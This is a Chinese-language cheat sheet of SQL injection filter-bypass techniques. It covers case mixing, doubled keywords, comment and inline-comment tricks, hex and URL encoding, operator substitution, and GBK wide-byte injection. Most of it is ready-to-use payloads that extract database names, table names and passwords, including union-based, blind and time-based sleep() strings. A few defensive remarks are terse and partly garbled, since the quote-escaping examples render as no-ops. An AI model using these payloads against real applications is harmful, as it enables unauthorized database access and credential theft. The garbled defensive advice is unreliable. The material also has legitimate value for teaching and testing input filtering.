SQL注入绕过
大小写绕过
数据库使用不区分大小写的方式来处理SQL关键字,所以可以使用大小写变种来绕过。过滤时使用区分大小写的过滤函数
区分大小写的函数
ereg()函数
preg_match_all(正则表达式不添加模式修正符 i)
preg_match(正则表达式不添加模式修正符 i)
strstr()
双写绕过
当后台将你所输入的关键字替换成空时,就可以使用单词混写绕过。
$str = "select union * from ";
$str1 = "select ununionion * from ";
$ptn = '/union/';
$rep = '';
$str = preg_replace($ptn,$rep,$str);
echo $str;
echo $str1;
过滤注释符的绕过
--+,#;
使用单引号闭合语句
逗号过滤
对于substr()和mid()这两个方法可以使用from to的方式来解决。
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);
对于limit可以使用offset来绕过
select * from news limit 0,1
# 等价于下面这条SQL语句
select * from yang limit 1 offset 0
使用join:
union select 1,2 #等价于
union select * from (select 1)a join (select 2)b
使用like:
select ascii(mid(user(),1,1))=80 #等价于
select user() like 'r%'
比较符过滤
此时如果比较操作符(<,>)被过滤,上面的盲注语句就无法使用了,不过我们可以使用greatest来替代比较符.(<,>)
greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值
select * from users where id=1 and ascii(substr(database(),0,1))>64
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
等号过滤
like
in
between and
regexp
$sql = select * from user where id=1;
使用in方法绕过
使用示例:
$sql = select * from user where id in (1);
使用like 绕过
$sql = select * from user Where id like 5
符号代替特殊字符
使用 || 代替 or
使用&&代替and
/**/ 绕过对空格的过滤
空格过滤
/**/ 绕过对空格的过滤
括号?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
引号绕过
十六进制
select column_name from information_schema.tables where table_name="users"
select column_name from information_schema.tables where table_name=0x7573657273
绕过union,select,where等
(1)使用注释符绕过:
常用注释符:
//,-- , /**/, #, --+, -- -, ;,%00,--a
用法:
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user
(2)使用大小写绕过:
id=-1'UnIoN/**/SeLeCT
(3)内联注释绕过:
id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
(4) 双关键字绕过(若删除掉第一个匹配的union就能绕过):
id=-1'UNIunionONSeLselectECT1,2,3–-
通用绕过
如URLEncode编码,ASCII,HEX,unicode编码绕过:
or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
等价函数绕过
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
12.宽字节注入:
过滤 ‘ 的时候往往利用的思路是将 ‘ 转换为 ‘ 。
在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字,一般有两种思路:
(1)%df 吃掉 \ 具体的方法是 urlencode(‘) = %5c%27,我们在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的(’)符号在外面:
id=-1%df%27union select 1,user(),3--+
(2)将 ‘ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。
一般产生宽字节注入的PHP函数:
1.replace():过滤 ‘ \ ,将 ‘ 转化为 ‘ ,将 \ 转为 \,将 “ 转为 “ 。用思路一。
2.addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:’ , “ , \ 。用思路一
(防御此漏洞,要将 mysql_query 设置为 binary 的方式)
3.mysql_real_escape_string():转义下列字符:
\x00 \n \r \ ' " \x1a
(防御,将mysql设置为gbk即可)